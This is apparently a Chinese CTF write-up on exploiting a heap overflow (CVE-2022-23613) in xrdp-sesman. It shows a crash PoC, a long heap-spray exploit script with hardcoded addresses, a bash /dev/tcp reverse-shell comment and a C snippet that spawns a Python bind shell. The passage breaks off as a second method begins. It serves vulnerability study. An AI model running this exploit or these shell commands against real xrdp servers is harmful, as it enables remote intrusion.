首页
社区
课程
招聘
[原创]【2022 KCTF 秋季赛】The_House_of_the_Dead——星盟安全团队
2022-11-4 00:01 5412

[原创]【2022 KCTF 秋季赛】The_House_of_the_Dead——星盟安全团队

2022-11-4 00:01
5412

前言

在今年十月份,我写了一篇关于该漏洞的利用分析:
https://bbs.pediy.com/thread-274831.htm

 

我在文中对该漏洞的成因以及利用手段进行了较为详细的分析,最终得出的利用方式为:“通过建立大量连接进行堆喷,从而进行任意命令执行,从服务器中反弹一个shell出来进行连接。”

 

 

 

但是真的没有限制次数后也能稳定利用的方法吗?有,并且还不止一个,笔者在当时的文章写完后的第二天,躺在床上正好想起了这件事,并在接下来的一段时间里得到了在源程序不进行改变的情况下也能够稳定利用的方案。

 

两种方案都不需要更改源程序的允许连接数量 16 ,甚至不需要这么大,两种方案都只需要大约 5-10 个连接就能够稳定利用,这取决于 EXP 的精细程度。

 

第一种方案仍然依赖于堆喷,但是它并不需要很多的连接,笔者经过测试发现,只需要两个连接,就能够创建超过 0x100000~0xff00000 大小的堆空间。

 

第二种方案完全不依赖堆喷,它能够稳定控制调用 execlp3execvp 的参数,而不需要经过任何地址碰撞。

其实,当时发那篇文章时,并没有将本利用作为赛题提交给KCTF的打算。
但是现在一想,如果我当时没有发布那篇文章,这道题的攻克者是否就会更少一点呢......略有些遗憾,但其实能有师傅做出来的话也还是很令笔者高兴的,尤其是能看到师傅们的利用思路,不论是否与我的预期相符。

秉承着 PWN FOR FUN 的原则,我仍然没有删除符号表,希望师傅们玩的开心。

回顾

首先回顾一下该漏洞的成因吧,该漏洞来自于 CVE-2022-23613 ,这是一个已公开的漏洞。

复现环境

1
2
3
4
xrdp-sesman 0.9.18
  The xrdp session manager
  Copyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors.
  See https://github.com/neutrinolabs/xrdp for more information.

漏洞成因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static int
sesman_data_in(struct trans *self)
{
+ #define HEADER_SIZE 8
    int version;
    int size;
 
    if (self->extra_flags == 0)
    {
        in_uint32_be(self->in_s, version);
        in_uint32_be(self->in_s, size);
-        if (size > self->in_s->size)
+        if (size < HEADER_SIZE || size > self->in_s->size)
        {
-            LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size");
+            LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size %d", size);
            return 1;
        }
        self->header_size = size;
@@ -302,11 +303,12 @@ sesman_data_in(struct trans *self)
            return 1;
        }
        /* reset for next message */
-        self->header_size = 8;
+        self->header_size = HEADER_SIZE;
        self->extra_flags = 0;
        init_stream(self->in_s, 0); /* Reset input stream pointers */
    }
    return 0;
+ #undef HEADER_SIZE
}

从已公开的 Patch 可以看出,它添加了一个对 size 变量的负数校验,似乎意味着整数溢出漏洞的存在,不妨跟踪一下该变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
else /* connected server or client (2 or 3) */
{
    if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES)
    {
    }
    else if (self->trans_can_recv(self, self->sck, 0))
    {
        cur_source = XRDP_SOURCE_NONE;
        if (self->si != 0)
        {
            cur_source = self->si->cur_source;
            self->si->cur_source = self->my_source;
        }
        read_so_far = (int) (self->in_s->end - self->in_s->data);
        to_read = self->header_size - read_so_far;
 
        if (to_read > 0)
        {
            read_bytes = self->trans_recv(self, self->in_s->end, to_read);

查找 self->header_size 的引用,可以发现该变量将与 self->trans_recv 的参数间接相关,而该函数类似于 read 的作用,将 self 相关的套接字中读取 to_read 个字符到 self->in_s->end

 

而该缓冲区来自于:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct trans *
trans_create(int mode, int in_size, int out_size)
{
    struct trans *self = (struct trans *) NULL;
 
    self = (struct trans *) g_malloc(sizeof(struct trans), 1);
 
    if (self != NULL)
    {
        make_stream(self->in_s);
        init_stream(self->in_s, in_size);
        make_stream(self->out_s);
        init_stream(self->out_s, out_size);
        self->mode = mode;
        self->tls = 0;
        /* assign tcp calls by default */
        self->trans_recv = trans_tcp_recv;
        self->trans_send = trans_tcp_send;
        self->trans_can_recv = trans_tcp_can_recv;
    }
 
    return self;
}
1
2
3
4
5
6
7
8
9
10
11
12
#define init_stream(s, v) do \
    { \
        if ((v) > (s)->size) \
        { \
            g_free((s)->data); \
            (s)->data = (char*)g_malloc((v), 0); \
            (s)->size = (v); \
        } \
        (s)->p = (s)->data; \
        (s)->end = (s)->data; \
        (s)->next_packet = 0; \
    } while (0)

可以看见,该缓冲区会通过 g_malloc 创建在堆上,那么只要 to_read 的值超出了堆的原始大小,就有可能造成堆溢出了:

1
g_list_trans = trans_create(TRANS_MODE_TCP, 8192, 8192);

从调用点也可以看出,每次建立一个新的连接时都会为该连接创建一个大小为 0x2000 的输入缓冲区,并且接下来将会调用 trans_check_wait_objs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int
trans_check_wait_objs(struct trans *self)
{
    ......
    if (self->type1 == TRANS_TYPE_LISTENER) /* listening */
    {
        ......
    }
    else /* connected server or client (2 or 3) */
    {
        if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES)
        {
        }
        else if (self->trans_can_recv(self, self->sck, 0))
        {
            cur_source = XRDP_SOURCE_NONE;
            if (self->si != 0)
            {
                cur_source = self->si->cur_source;
                self->si->cur_source = self->my_source;
            }
            read_so_far = (int) (self->in_s->end - self->in_s->data);
            to_read = self->header_size - read_so_far;
 
            if (to_read > 0)
            {
                read_bytes = self->trans_recv(self, self->in_s->end, to_read);
                ......
            }
        ......
    }
 
    return rv;
}

如果创建的类型不为 TRANS_TYPE_LISTENER ,那么该连接就会调用 self->trans_recv 将数据直接读进刚刚创建的输入缓冲区中,且由于它并没有校验 self->header_size 可能是负数的情况,因此可以令 to_read 通过负数减去一个正数溢出为一个极大的正数,从而导致堆溢出。

 

POC:

1
2
3
4
5
6
7
8
9
10
11
import socket
import struct
if __name__ == "__main__":
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("127.0.0.1",3350))
    sdata = b''
    sdata += struct.pack("I",0x2222CCCC) #version
    sdata += struct.pack(">I",0x80000000) #headersize
    s.send(sdata)
    sdata = b'a'*0x10000  #padding
    s.send(sdata)

漏洞利用

回顾一下刚刚的 trans_create 可以发现:

1
2
3
4
5
6
7
8
9
10
11
12
struct trans *
trans_create(int mode, int in_size, int out_size)
{
    struct trans *self = (struct trans *) NULL;
 
    self = (struct trans *) g_malloc(sizeof(struct trans), 1);
    ......
        self->trans_recv = trans_tcp_recv;
        self->trans_send = trans_tcp_send;
        self->trans_can_recv = trans_tcp_can_recv;
    return self;
}

struct trans self 结构体与输入输出缓冲区同样位于堆内存中,并且它还初始化了函数指针,那么一个可行的利用点就是:通过堆溢出去覆盖 self->trans_recv 偏移处的值为一个类似 system 的函数来进行任意命令执行。

 

通过 IDA 搜索可以找到如下两个函数:

1
2
extern:00000000004105D8                 extrn g_execvp:near
extern:0000000000410658                 extrn g_execlp3:near

这两个命令分别是 execvpexeclp 的包装,函数实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int
g_execvp(const char *p1, char *args[])
{
    ......
    args_len = 0;
    while (args[args_len] != NULL)
    {
        args_len++;
    }
    g_strnjoin(args_str, ARGS_STR_LEN, " ", (const char **) args, args_len);
 
    g_rm_temp_dir();
    rv = execvp(p1, args);
    ......
}
 
int
g_execlp3(const char *a1, const char *a2, const char *a3)
{
    ......
    g_strnjoin(args_str, ARGS_STR_LEN, " ", args, 2);
    ......
    g_rm_temp_dir();
    rv = execlp(a1, a2, a3, (void *)0);
    ......
}

因为 xrdp 服务是通过 socket 进行通信的,因此让其打开 “/bin/sh” 是不够的,想要让它能够完成任意命令执行,最好还是让它反弹一个 shell 出来比较合适,比方说:

1
2
3
4
5
6
7
#include<stdlib.h>
int main()
{
    char ars2[]="-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\"sh\");";
    execlp("python3","python3",ars2,0);
    return 0;
}

这个格式就比较像 g_execlp3 的实现了对吗?看起来似乎相当可行,但是笔者在经过各种各样的尝试以后放弃了这个做法,因为精准的控制参数是一件极其困难的事情。

 

在上一篇文章中,笔者最终得出了 "通过建立大量连接进行堆喷" 从而实现利用的结论。观察它的调用逻辑可以发现:

1
self->trans_recv(self, self->in_s->end, to_read);

第一个参数 self 是一个稳定的指针,我们通过覆盖它,能够稳定的传递一个字符串指针;第二个参数为 self->in_s->end ,我们控制参数的主要难点就集中于它,因为如果我们需要传递字符串,那么需要构造一个双重指针,让 self->in_s 指向字符串地址的 end 偏移处,然后再在此处放置指向字符串的指针。

 

而最后一个参数 to_read 则似乎能够通过计算得出,但其实还是有一定难度的:

1
2
read_so_far = (int) (self->in_s->end - self->in_s->data);
to_read = self->header_size - read_so_far;

self->header_size 可以由我们任意控制,但是 self->in_s->end 作为一个字符串指针,如果它传递给参数二的值是正确的,那么往往意味着它存在于堆内存中,而您也知道,堆内存是随机且未知的,我们无法精准控制 self->header_size 使它减去一个未知值后仍然生效,除非我们预先已经知道了自己想要得到的值。

因此它适用于堆喷,因为堆喷不需要知道地址是什么,我们只需要假设 to_readself->in_s->end 是正确的即可,而 self->in_s->end 将会是一个已知值,因为我们假设 self->in_s 命中了堆内存,那里将会被我们用地址铺满。

转折点与破局

注意到调用方式可以发现,如果通过覆盖 self 结构体,那么想要控制第二个参数就需要令 self->in_s 能够获取到一个指向字符串的指针,并且第三个参数也需要为一个堆地址:

1
2
3
4
5
6
read_so_far = (int) (self->in_s->end - self->in_s->data);
to_read = self->header_size - read_so_far;
 
if (to_read > 0)
{
    read_bytes = self->trans_recv(self, self->in_s->end, to_read);

但是如您所见,由于程序并没有直接与用户进行交互,我们所有的操作都是通过 socket 发送数据包完成,这显然封杀了我们泄露地址的可能性,因此堆地址必须要通过碰撞得出,这就需要我们建立很多的连接,通过每次建立连接时候调用的 trans_create 去申请大量的堆空间:

1
g_list_trans = trans_create(TRANS_MODE_TCP, 8192, 8192);

静风点

不知道您注意到了没有,笔者在描述中是这么写的 :

通过每次建立连接时候调用的 trans_create 去申请大量的堆空间

 

但是我们在利用漏洞时却是通过覆盖 self->trans_recv 去调用 g_execlp3 的。

 

如果我们将这两个事实合起来看,自然就能够得出一种更加具有效率的申请堆内存的方案:覆盖 self->trans_recv 去调用 trans_create

 

不仅如此,我们观察这一整段代码:

1
2
3
4
5
6
else if (self->trans_can_recv(self, self->sck, 0))
{
...
    if (to_read > 0)
    {
        read_bytes = self->trans_recv(self, self->in_s->end, to_read);

可以发现,self->trans_can_recv 也同样是一个指针,我们如果将它也覆盖为 trans_create ,就能够在一次连接中调用两次 trans_create ,并且参数还能够由我们控制为任意值。

 

或许 self->in_s->end 不能由我们控制,但是 to_readself->sck 是能够被稳定控制的,malloc 的 mmap 阈值一般为 0x20000 字节,那么现在,一次连接就能够稳定创建 0x40000+0x2000*2 以上的字节数。粗算一下,十六个连接大约能够创建 0x3FC000 个字节的堆空间,这个大小绝对不小,用作堆喷肯定非常足够了。

 

结合笔者在 《CVE-2022-23613复现与漏洞利用可能性尝试》 一文中 对堆喷思路的优化 这一小节所注意到的堆喷优化方案,这似乎已经足够完成利用了。

 

但上述的空间大小还只是对堆空间大小的一种保守估计,实际上,由于 ptmalloc2 能够动态修改 MMAP_THRESHOLD ,实际上,每次建立连接所能申请的大小远远大于上文所述的数值,因此实际上成功率更高。

笔者在某次调试中,由于传参不规范,以至于给 trans_create 传递了过大的参数,最后发现堆空间申请到的大小甚至超出了 0xff00000

第一法破局:堆喷

如前文所述,我们已然能够创建巨大的堆内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
import socket
import struct
import time
# bash -i >& /dev/tcp/0.0.0.0/9999 0>&1
def pack_addr2():
    sdata = b"\xba\xc9\x40\x00\x00\x00\x00\x00"
    return sdata
 
con_list=[0]*300
for i in range(14):
    con_list[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    con_list[i].connect(("0.0.0.0",3350))
    sdata = b''
    sdata += struct.pack("I",0x2222CCCC) #version
    sdata += struct.pack(">I",0x80000000) #headersize
    con_list[i].send(sdata)
    sdata = pack_addr2()*0x10
    con_list[i].send(sdata)
    time.sleep(0.05)
 
con_list[14] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[14].connect(("127.0.0.1",3350))
con_list[15] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[15].connect(("127.0.0.1",3350))
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[15].send(sdata)
sdata = b'D'*0x10
con_list[15].send(sdata)
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[14].send(sdata)
sdata = b'C'*0x4140+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+status
sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x39\x40\x02\x00\x00\x00\x00\x00"+b"\x91\x04\x41\x00\x00\x00\x00\x00"#ar_addr
sdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4
sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
con_list[14].send(sdata)
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += b"\x58\x01\xda\x00\x00\x00\x00\x00" #headersize
con_list[15].send(sdata)
################
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[13].send(sdata)
sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+status
sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x98\x04\x41\x00\x00\x00\x00\x00"#ar_addr
sdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4
sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
con_list[13].send(sdata)
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[14].send(sdata)
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[12].send(sdata)
sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+status
sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xe8\x04\x41\x00\x00\x00\x00\x00"#ar_addr
sdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4
sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
con_list[12].send(sdata)
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[13].send(sdata)
 
########
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[11].send(sdata)
sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+status
sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf0\x04\x41\x00\x00\x00\x00\x00"#ar_addr
sdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4
sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
con_list[11].send(sdata)
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[12].send(sdata)
#######
 
# use 10 to overflow 11 is failed
 
#######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[9].send(sdata)
sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+status
sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addr
sdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4
sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
con_list[9].send(sdata)
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[10].send(sdata)
#######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[8].send(sdata)
sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+status
sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addr
sdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4
sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
con_list[8].send(sdata)
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[9].send(sdata)
#######
 
# use 7 to overflow 8 is failed
 
#######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[6].send(sdata)
sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+status
sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addr
sdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4
sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
con_list[6].send(sdata)
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[7].send(sdata)
######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[5].send(sdata)
sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+status
sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addr
sdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4
sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
con_list[5].send(sdata)
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[6].send(sdata)
######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[4].send(sdata)
sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+status
sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addr
sdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4
sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
con_list[4].send(sdata)
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[5].send(sdata)
######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[3].send(sdata)
sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+status
sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addr
sdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4
sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
con_list[3].send(sdata)
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[4].send(sdata)
######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[2].send(sdata)
sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+status
sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addr
sdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4
sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
con_list[2].send(sdata)
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[3].send(sdata)
######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[1].send(sdata)
sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+status
sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addr
sdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4
sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
con_list[1].send(sdata)
 
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[2].send(sdata)
######
print("Done!")

上述脚本是笔者第一次发现该方法时所写的用于测试标准情况下能够获取到的最大堆内存:

1
2
3
4
5
6
7
8
9
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x403000 r--p     3000 0      /usr/local/sbin/xrdp-sesman
          0x403000           0x40b000 r-xp     8000 3000   /usr/local/sbin/xrdp-sesman
          0x40b000           0x40f000 r--p     4000 b000   /usr/local/sbin/xrdp-sesman
          0x40f000           0x410000 r--p     1000 e000   /usr/local/sbin/xrdp-sesman
          0x410000           0x411000 rw-p     1000 f000   /usr/local/sbin/xrdp-sesman
         0x1d24000          0x1d70000 rw-p    4c000 0      [heap]
         0x1d70000          0x21e1000 rw-p   471000 0      [heap]

可以注意到,笔者只建立了 16 个 TCP 连接,但是却申请到了 0x471000+0x4c000 的堆内存,这甚至远超笔者最初通过建立上百个连接时所得到的大小。

 

显然,接下来的操作不言而喻,只需要反弹一个 shell 即可,因此不再赘述。

但在我提交题目以后才得知主办方的平台不能出网,因此反弹 shell 是不行的,需要通过正连完成。

第二法破局:伏击

第二种方法要比第一种的堆喷更加优雅,也更加巧妙。注意到如下代码:

1
2
